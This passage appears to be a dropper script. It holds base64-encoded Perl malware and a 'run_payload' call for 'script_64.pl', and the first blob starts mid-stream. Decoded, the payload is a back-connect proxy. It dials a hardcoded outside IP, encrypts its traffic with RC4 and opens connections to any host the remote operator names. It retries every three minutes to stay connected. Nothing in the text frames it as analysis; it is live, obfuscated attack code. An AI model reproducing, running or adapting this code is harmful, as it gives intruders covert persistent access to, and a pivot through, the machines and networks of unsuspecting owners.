ZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_64.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjUzJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7C